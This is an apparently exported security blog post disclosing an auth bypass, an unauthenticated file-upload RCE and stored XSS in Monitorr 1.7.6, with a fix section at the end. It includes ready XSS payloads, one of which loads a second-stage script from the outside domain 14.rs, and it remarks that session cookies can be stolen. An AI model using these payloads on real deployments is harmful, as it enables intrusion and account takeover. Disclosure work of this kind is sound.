{"id":278,"date":"2020-09-12T14:29:23","date_gmt":"2020-09-12T14:29:23","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=278"},"modified":"2021-05-13T16:10:15","modified_gmt":"2021-05-13T16:10:15","slug":"how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2020\/09\/12\/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6\/","title":{"rendered":"How White-Box hacking works: Authorization Bypass and Remote Code Execution in Monitorr 1.7.6"},"content":{"rendered":"\n<p>Well, we pwned one more piece of software. Who cares? Nah, nobody. Alright, now user &#8220;nobody&#8221; &#8211; see how we did that. <\/p>\n\n\n\n<p>Monitorr 1.7.6:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Was written on PHP, that is a good sign for us attackers.<\/li><li>Has 366 stars on Github. <\/li><li>Designed to do monitoring. We like this kind of software. <\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">Auth Bypass<\/h4>\n\n\n\n<p>Classical situation &#8211; an attacker can access installation panel after the actual installation. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1202\" height=\"538\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-1.png\" alt=\"\" class=\"wp-image-281\"\/><figcaption>Monitorr\/assets\/config\/_installation\/_register.php<\/figcaption><\/figure>\n\n\n\n<p>Create a new user and authorize on behalf of this user. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Remote Code Execution<\/h4>\n\n\n\n<p>The vulnerable code resides in \u201cupload.php\u201d file. The only check that is done on the uploaded file is getimagesize() function:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"602\" height=\"148\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-2.png\" alt=\"\" class=\"wp-image-283\"\/><\/figure>\n\n\n\n<p>This function can be easily bypassed by prepending standard image properties to an executable file. In this example, a payload mimics a GIF image:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"464\" height=\"211\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-3.png\" alt=\"\" class=\"wp-image-284\"\/><\/figure>\n\n\n\n<p>After size check is passed, the file is successfully uploaded:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"534\" height=\"121\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-4.png\" alt=\"\" class=\"wp-image-285\"\/><\/figure>\n\n\n\n<p>So we can see our PHP code executed:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"604\" height=\"446\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-5.png\" alt=\"\" class=\"wp-image-286\"\/><\/figure>\n\n\n\n<p>It\u2019s important to emphasize that no authentication checks are done in the upload.php script.<\/p>\n\n\n\n<p><strong>Cross-Site Scripting (XSS)<\/strong><\/p>\n\n\n\n<p>Two stored XSS have been found on service configuration tab at Monitorr settings page. Despite the length restriction, a malicious actor still can experience a full-feautered XSS attack by loading the second-stage payload from an external short domain like <a rel=\"noreferrer noopener\" href=\"http:\/\/14.rs\/\" target=\"_blank\">14.rs<\/a> . <\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Form field<\/td><td>Payload<\/td><\/tr><tr><td>Service URL<\/td><td>&#8220;<code>&gt;&lt;payload&gt;&lt;a href=\"<\/code><\/td><\/tr><tr><td>Service Title<\/td><td><code>&lt;embed src=\/\/14.rs&gt;<\/code><\/td><\/tr><tr><td>Service Image<\/td><td>&#8220;onerror=&#8221;alert(document.location)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"492\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-8.png\" alt=\"\" class=\"wp-image-292\"\/><\/figure>\n\n\n\n<p>Steps to Reproduce<br>1. Log in the application<br>2. Navigate to Service configuration tab<br>3. Enter the payload<br>4. Save changes and observe the javascript alert box triggered at the main Monitorr page.<\/p>\n\n\n\n<p>By the way, session cookies don&#8217;t have HttpOnly flag, so we can steal authorization cookies. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"467\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/09\/image-7.png\" alt=\"\" class=\"wp-image-290\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Fix<\/h4>\n\n\n\n<p>Unfortunately, the Monitorr command decided to do not to fix these vulnerabilities. To do not have the same issues &#8211; ensure, that your software:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Deletes the installation files right after the installation.<\/li><li>Does input sanitization and output encoding of user input.<\/li><li>Checks file uploads properly. <\/li><\/ol>\n\n\n\n<p><em>LL advises to all the researchers do not break real applications<\/em>&nbsp;<em>illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Well, we pwned one more piece of software. Who cares? Nah, nobody. Alright, now user &#8220;nobody&#8221; &#8211; see how we did [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-278","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=278"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/278\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=278"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}